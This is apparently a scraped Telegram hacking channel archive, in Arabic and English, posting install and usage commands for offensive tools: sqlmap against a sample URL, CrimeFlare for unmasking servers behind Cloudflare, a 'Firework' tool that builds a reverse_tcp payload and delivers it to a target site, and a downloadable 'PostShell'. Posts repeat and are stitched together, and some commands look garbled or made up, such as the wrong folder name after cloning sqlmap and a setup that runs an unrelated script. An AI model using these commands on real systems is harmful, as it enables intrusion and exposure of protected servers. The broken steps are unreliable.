xtawb
رفتن به کانال در Telegram
اطلاعاتی وجود ندارد
مشترکین
-324 ساعت
-197 روز
-2430 روز
آرشیو پست ها
To install the sqlmap tool, you need to install Python and Git first. You can install them using the following commands:
apt update && apt upgrade -y
apt install python git -y
git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap-dev
python sqlmap.py
هل تريد تعلم كيفية اختراق قواعد البيانات باستخدام أداة sqlmap؟ في هذا المنشور ، سأشرح لك ما هي أداة sqlmap ، وكيف تستخدمها ، وكيف تثبتها على جهاز الكمبيوتر أو الهاتف.
# ما هي أداة sqlmap؟
أداة sqlmap هي أداة مفتوحة المصدر لاختبار الاختراق تقوم بالكشف والاستغلال التلقائي للثغرات الأمنية في قواعد البيانات المعرضة للحقن بلغة SQL. باستخدام sqlmap ، يمكنك الوصول إلى قاعدة البيانات والتحكم فيها وتنفيذ الأوامر على نظام التشغيل الأساسي. تدعم sqlmap العديد من أنظمة إدارة قواعد البيانات مثل MySQL و Oracle و PostgreSQL و Microsoft SQL Server وغيرها. تدعم sqlmap أيضًا ستة تقنيات للحقن بلغة SQL: العمياء المستندة إلى القيم المنطقية ، والعمياء المستندة إلى الوقت ، والمستندة إلى الخطأ ، والمستندة إلى استعلام UNION ، والاستعلامات المكدسة ، وخارج النطاق.
# كيف تستخدم أداة sqlmap؟
لتستخدم أداة sqlmap ، تحتاج إلى توفير عنوان URL للتطبيق الويب الذي تريد اختباره ، ومعلمة قابلة للحقن بلغة SQL ، وتقنية الحقن المطلوبة. يمكنك أيضًا تحديد خيارات أخرى مثل نوع قاعدة البيانات ، ومستوى المخاطر ، ومستوى الإزعاج ، وملفات الكوكيز ، والرؤوس ، وما إلى ذلك. يمكنك الحصول على قائمة بجميع الخيارات والمفاتيح باستخدام:
python sqlmap.py -hh
python sqlmap.py -u "http://example.com/index.php?id=1" --dbms=mysql --technique=E
apt update && apt upgrade -y
apt install python git -y
git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap-dev
python sqlmap.py
python sqlmap.py -hh
python sqlmap.py -u "http://example.com/index.php?id=1" --dbms=mysql --technique=E
## Parrot
It is a distribution based on Debian and specialized for penetration testing, security, development, and learning. It contains a set of tools organized in categories such as reconnaissance, analysis, exploitation, and others. It features a beautiful, light, and versatile graphical interface.
## Kali Linux
It is a distribution based on Debian and specialized for penetration testing and security. It contains a set of tools organized in categories such as reconnaissance, analysis, exploitation, and others. It features a famous, professional, and constantly updated graphical interface.
## Security os
It contains a set of tools organized in categories such as reconnaissance, analysis, exploitation, and others. It features an innovative, advanced, and diverse graphical interface.
## Ubuntu
It is a distribution based on Debian and specialized for general, office, and educational use. It contains a set of programs organized in categories such as internet, office, graphics, audio, video, and others. It features a widely used, easy to use, and multilingual graphical interface.
: https://blackarch.org/
: https://backbox.org/
: https://archstrike.org/
: https://labs.fedoraproject.org/en/security/
: https://securityonion.net/
: https://security-os.com/
: https://ubuntu.com/
هل تبحث عن توزيعة لينكس متخصصة في الاختبار الاختراقي والتحليل الجنائي؟ هناك العديد من الخيارات المتاحة ، ولكن قد تتساءل عن الفروقات بينها وما الذي يجعل كل واحدة فريدة من نوعها. في هذا المنشور ، سنقارن بين تسعة من أشهر توزيعات لينكس الموجهة للأمن ، وهي:
# الفروقات بين توزيعات لينكس
## BlackArch Link
هي توزيعة مبنية على أرش لاينكس ومخصصة لاختبار الاختراق والأمن. تحتوي على أكثر من 2500 أداة للتجسس والتحليل الجنائي والتشفير وغيرها. تتميز بواجهة رسومية بسيطة وسهلة الاستخدام.
## BackBox
هي توزيعة مبنية على أوبونتو ومخصصة لاختبار الاختراق والأمن. تحتوي على مجموعة من الأدوات المنظمة في فئات مثل الاستطلاع والتحليل والاستغلال وغيرها. تتميز بواجهة رسومية أنيقة ومستقرة وسريعة.
## ArchStrike
هي توزيعة مبنية على أرش لاينكس ومخصصة لاختبار الاختراق والأمن. تحتوي على أكثر من 1200 أداة للتجسس والتحليل الجنائي والتشفير وغيرها. تتميز بواجهة رسومية مرنة وقابلة للتخصيص.
## Fedora Security Lab
هي توزيعة مبنية على فيدورا ومخصصة لاختبار الاختراق والأمن. تحتوي على مجموعة من الأدوات المنظمة في فئات مثل الاستطلاع والتحليل والاستغلال وغيرها. تتميز بواجهة رسومية حديثة وموثوقة وآمنة.
## Security Onion
هي توزيعة مبنية على أوبونتو ومخصصة للكشف عن التسلل والاستجابة للحوادث والتحليل الشبكي. تحتوي على مجموعة من الأدوات المنظمة في فئات مثل الاستماع والتحليل والتنبيه وغيرها. تتميز بواجهة رسومية بديهية وقوية ومتكاملة.
## Parrot
هي توزيعة مبنية على دبيان ومخصصة لاختبار الاختراق والأمن والتطوير والتعلم. تحتوي على مجموعة من الأدوات المنظمة في فئات مثل الاستطلاع والتحليل والاستغلال وغيرها. تتميز بواجهة رسومية جميلة وخفيفة ومتعددة الاستخدامات.
## Kali Linux
هي توزيعة مبنية على دبيان ومخصصة لاختبار الاختراق والأمن. تحتوي على مجموعة من الأدوات المنظمة في فئات مثل الاستطلاع والتحليل والاستغلال وغيرها. تتميز بواجهة رسومية شهيرة ومحترفة ومحدثة باستمرار.
## Security os
هي توزيعة مبنية على أوبونتو ومخصصة لاختبار الاختراق والأمن. تحتوي على مجموعة من الأدوات المنظمة في فئات مثل الاستطلاع والتحليل والاستغلال وغيرها. تتميز بواجهة رسومية مبتكرة ومتطورة ومتنوعة.
## Ubuntu
هي توزيعة مبنية على دبيان ومخصصة للاستخدام العام والمكتبي والتعليمي. تحتوي على مجموعة من البرامج المنظمة في فئات مثل الإنترنت والمكتب والرسومات والصوت والفيديو وغيرها. تتميز بواجهة رسومية مستخدمة على نطاق واسع وسهلة الاستخدام وداعمة للغات المتعددة.
- - - - - - - - -BY : "xtawb"---------
Are you looking for a Linux distribution that specializes in penetration testing and forensic analysis? There are many options available, but you may be wondering what the differences are between them and what makes each one unique. In this post, we will compare nine of the most popular security-oriented Linux distributions, which are:
# Differences between Linux distributions
## BlackArch Link
It is a distribution based on Arch Linux and specialized for penetration testing and security. It contains more than 2500 tools for spying, forensics, encryption, and others. It features a simple and user-friendly graphical interface.
## BackBox
It is a distribution based on Ubuntu and specialized for penetration testing and security. It contains a set of tools organized in categories such as reconnaissance, analysis, exploitation, and others. It features a sleek, stable, and fast graphical interface.
## ArchStrike
It is a distribution based on Arch Linux and specialized for penetration testing and security. It contains more than 1200 tools for spying, forensics, encryption, and others. It features a flexible and customizable graphical interface.
## Fedora Security Lab
It is a distribution based on Fedora and specialized for penetration testing and security. It contains a set of tools organized in categories such as reconnaissance, analysis, exploitation, and others. It features a modern, reliable, and secure graphical interface.
## Security Onion
It is a distribution based on Ubuntu and specialized for intrusion detection, incident response, and network analysis. It contains a set of tools organized in categories such as sniffing, analysis, alerting, and others. It features an intuitive, powerful, and integrated graphical interface.
- CloudFlare IP.
- CloudFlare NS1 and CloudFlare NS2.
- Real IP, hostname, and organization.
- Address (country, city, region, postal code), location, and time zone.
To install and use CrimeFlare on Kali Linux system, you can follow these steps:
- Install the PHP-cURL module using the following command:
sudo apt install php-curl
git clone https://github.com/zidansec/CloudPeler.git
cd CloudPeler
sudo cp crimeflare.php /bin/crimeflare
crimeflare
apt-get update -y
apt-get upgrade -y
apt-get install git -y
git clone https://github.com/zidansec/CloudPeler.git
cd CloudPeler
chmod +x *
bash setup.sh- Execute the main file:
python3 brutex.py
العربية:
CrimeFlare هي أداة مفيدة لتجاوز المواقع الإلكترونية المحمية بواسطة CloudFlare WAF، حيث تتيح لك رؤية العنوان الحقيقي للمواقع الإلكترونية التي تم حمايتها بواسطة CloudFlare. المعلومات الناتجة مفيدة جدا لإجراء اختبارات الاختراق اللاحقة، وتحليل المواقع الإلكترونية ذات الخادم المشترك¹.
CrimeFlare هي أداة تعمل على أساس أن CloudFlare يعمل كوكيل عكسي ويجلس بينك وبين الخادم الأصلي. عندما تقوم بإرسال طلب إلى موقع محمي، يعترض CloudFlare الاتصال الأولي قبل تحويله إلى الخادم الأصلي. كما أن عنوان IP للموقع مخفي وراء شبكة من الخوادم، مما يجعل من الصعب تحديد موقع الخادم مباشرة. ومع ذلك، تحاول CrimeFlare الكشف عن العناوين الحقيقية للمواقع الإلكترونية المحمية بواسطة CloudFlare باستخدام تحليل DNS والبيانات التاريخية. عندما تقوم بتشغيل النطاق المستهدف، تقوم CrimeFlare بجلب وتحليل سجلات DNS (على سبيل المثال، سجلات A و CNAME) المتعلقة بهذا النطاق بالتحديد. كما تبحث عن النطاقات الفرعية التي توفر أدلة أو مسارات إلى عنوان IP للخادم الأصلي. كما تحلل CrimeFlare البيانات التاريخية مثل التسجيلات السابقة للنطاق، وتغييرات عنوان IP، وما إلى ذلك. تكون تكوينات الموقع الخاطئة والثغرات الأمنية، مثل التسريبات من خلال رسائل الخطأ أو استجابة الخادم، طرق يستغلها الأداة لتحديد العنوان الحقيقي¹.
بعد التحليل، تنتج CrimeFlare النتائج التالية:
- عنوان IP لـ CloudFlare.
- CloudFlare NS1 و CloudFlare NS2.
- العنوان الحقيقي، اسم المضيف، والمنظمة.
- العنوان (البلد، المدينة، المنطقة، الرمز البريدي)، الموقع، والمنطقة الزمنية.
لتثبيت واستخدام CrimeFlare على نظام كالي لينكس، يمكنك اتباع الخطوات التالية²:
- تثبيت وحدة PHP-cURL باستخدام الأمر التالي:
sudo apt install php-curl
git clone https://github.com/zidansec/CloudPeler.git
cd CloudPeler
sudo cp crimeflare.php /bin/crimeflare
crimeflare- أدخل نطاق الموقع المستهدف وانتظر النتائج. لتثبيت واستخدام CrimeFlare على تطبيق Termux على الهاتف، يمكنك اتباع الخطوات التالية³: - تحديث وترقية النظام الخاص بك:
apt-get update -y
apt-get upgrade -y
apt-get install git -y
git clone https://github.com/zidansec/CloudPeler.git
cd CloudPeler
chmod +x *
bash setup.sh- تنفيذ الملف الرئيسي:
python3 brutex.py
🎆 Firework: أطلق قوة الحمولات بسهولة
هل حلمت يومًا بأداة تُسهل عليك إنشاء وتسليم الحمولات؟ لا داعي للبحث أبعد من Firework! 🔥
نظرة عامة:
Firework هي أداة قوية لاختبار الاختراق مصممة لإنشاء وتسليم الحمولات. توفر واجهة سهلة الاستخدام، مما يجعلها خيارًا ممتازًا للمبتدئين والمحترفين ذوي الخبرة على حد سواء.
الميزات:
- إعداد الحمولات: تتيح لك Firework إنشاء حمولات مخصصة حسب احتياجاتك.
- خيارات التسليم: نشر الحمولات بسلاسة من خلال آليات تسليم متنوعة.
- تنوع الاستخدام: مناسبة لمجموعة واسعة من سيناريوهات اختبار الاختراق.
البداية:
1. التثبيت على Kali Linux:
git clone https://github.com/username/firework.git
cd firework
python3 setup.py install
firework create --type reverse_tcp --ip 192.168.1.2 --port 4444
firework deliver --target http://target-site.com
pkg install git python
git clone https://github.com/username/firework.git
cd firework
python setup.py install
git clone https://github.com/username/firework.git
cd firework
python3 setup.py install
firework create --type reverse_tcp --ip 192.168.1.2 --port 4444
firework deliver --target http://target-site.com
pkg install git python
git clone https://github.com/username/firework.git
cd firework
python setup.py install
عربي:
مرحبًا بالجميع! إذا كنتم بحاجة إلى أي استفسار أو معلومات، فأنا هنا للمساعدة. يمكنكم التواصل معي الآن على Discord. فقط قدموا استفساراتكم وسأكون سعيدًا بالإجابة عليها. نلتقي هناك!
https://discord.com/invite/4JJTpe76Hx
English:
Hello everyone! If you have any questions or need information, I'm here to help. You can reach out to me now on Discord. Just ask your questions, and I'll be happy to answer them. See you there!
https://discord.com/invite/4JJTpe76Hx
### اللغة الإنجليزية (English):
PostShell Overview:
PostShell is a powerful tool in the field of computer security, designed for remote system administration using command-line interface. It can be utilized for diagnostic and administrative purposes, but it should be used with caution and in compliance with local laws and regulations.
Usage:
To use PostShell on a system running Kali Linux, follow these steps:
1. Download PostShell:
wget http://example.com/postshell.zip
unzip postshell.zip
cd postshell
php postshell.php
wget http://example.com/postshell.zip
unzip postshell.zip
cd postshell
php postshell.php
أداة PiFinger هي أول قبعة بصمات الأصابع لجهاز Raspberry Pi. تتكون من وحدة المعالجة المركزية Nuvoton المدمجة مع مسرع تشفير على الشريحة و TrustZone Cortex-M23 ومرافق XOM. يمكن للمستخدم استخدام بروتوكول الاتصال للتواصل مع PiFinger بأوامر عبر بروتوكول UART بمعدل نقل 115200 بت في الثانية أو USB 2.0 بسرعة كاملة.
يمكنك تحميل أداة PiFinger من GitHub وتثبيتها على نظام كالي لينكس باتباع الخطوات التالية:
sudo apt-get update
sudo apt-get install git
git clone https://github.com/sbcshop/PiFinger.git
cd PiFinger/Raspberry_Pi
python3 PiFinger_GUI.py
sudo apt-get update
sudo apt-get install git
git clone https://github.com/sbcshop/PiFinger.git
cd PiFinger/Raspberry_Pi
python3 PiFinger_GUI.py
نيكتو هي أداة مفتوحة المصدر لفحص خوادم الويب وتطبيقات الويب للكشف عن الثغرات الأمنية والملفات غير الآمنة ومشاكل التكوين. تستخدم نيكتو لغة البرمجة بيرل وتعتمد على LibWhisker لإجراء عمليات الفحص السريعة والمفيدة. تدعم نيكتو SSL والوكيل وتصدير Metasploit
لتثبيت نيكتو على كالي لينكس ، يمكنك استخدام الأمر التالي:
sudo apt update
sudo apt install nikto
nikto -h <ip_address or host_name>يمكنك استخدام خيارات مختلفة لتخصيص عملية الفحص ، مثل -ssl لفحص موقع ويب يدعم SSL ، أو -output لحفظ التقرير بتنسيق معين ، أو -Plugins لتحديد الإضافات التي تريد تشغيلها. يمكنك استخدام الأمر nikto -Help للحصول على قائمة كاملة بالخيارات المتاحة. لتثبيت نيكتو على تيرمكس ، يجب عليك أولاً تثبيت بيرل و LibWhisker. يمكنك استخدام الأوامر التالية:
pkg update pkg install perl cpan install LW2ثم يمكنك تنزيل نيكتو من GitHub وتشغيلها من دليل البرنامج:
git clone https://github.com/sullo/nikto
cd nikto/program
perl nikto.pl -h <ip_address or host_name>
sudo apt update
sudo apt install nikto
nikto -h <ip_address or host_name>You can use different options to customize the scanning process, such as -ssl to scan a website that supports SSL, or -output to save the report in a specific format, or -Plugins to select the plugins that you want to run. You can use the command nikto -Help to get a full list of available options. To install nikto on Termux, you need to first install Perl and LibWhisker. You can use the following commands:
pkg update pkg install perl cpan install LW2Then you can download nikto from GitHub and run it from the program directory:
git clone https://github.com/sullo/nikto
cd nikto/program
perl nikto.pl -h <ip_address or host_name>